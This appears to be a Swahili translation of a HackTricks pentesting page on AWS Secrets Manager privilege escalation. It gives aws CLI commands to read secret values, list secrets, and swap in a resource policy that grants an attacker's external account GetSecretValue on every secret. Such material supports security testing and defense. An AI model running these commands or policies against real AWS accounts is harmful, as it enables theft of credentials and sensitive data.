AWS - Secrets Manager Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Meneja wa Siri

Kwa habari zaidi kuhusu meneja wa siri angalia:

pageAWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Mshambuliaji mwenye idhini hii anaweza kupata thamani iliyohifadhiwa ndani ya siri katika AWS Secretsmanager.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Athari Inayowezekana: Kupata ufikivu wa data nyeti sana ndani ya huduma ya AWS secrets manager.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Kwa ruhusa zilizotangulia, inawezekana kutoa ufikivu kwa wakala/wakaunti wengine (hata nje) ili kupata ufikivu wa siri. Tafadhali kumbuka kwamba ili kusoma siri zilizoandikwa kwa kutumia ufunguo wa KMS, mtumiaji pia anahitaji kuwa na ufikivu wa ufunguo wa KMS (maelezo zaidi katika Kurasa ya Uchambuzi wa KMS).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated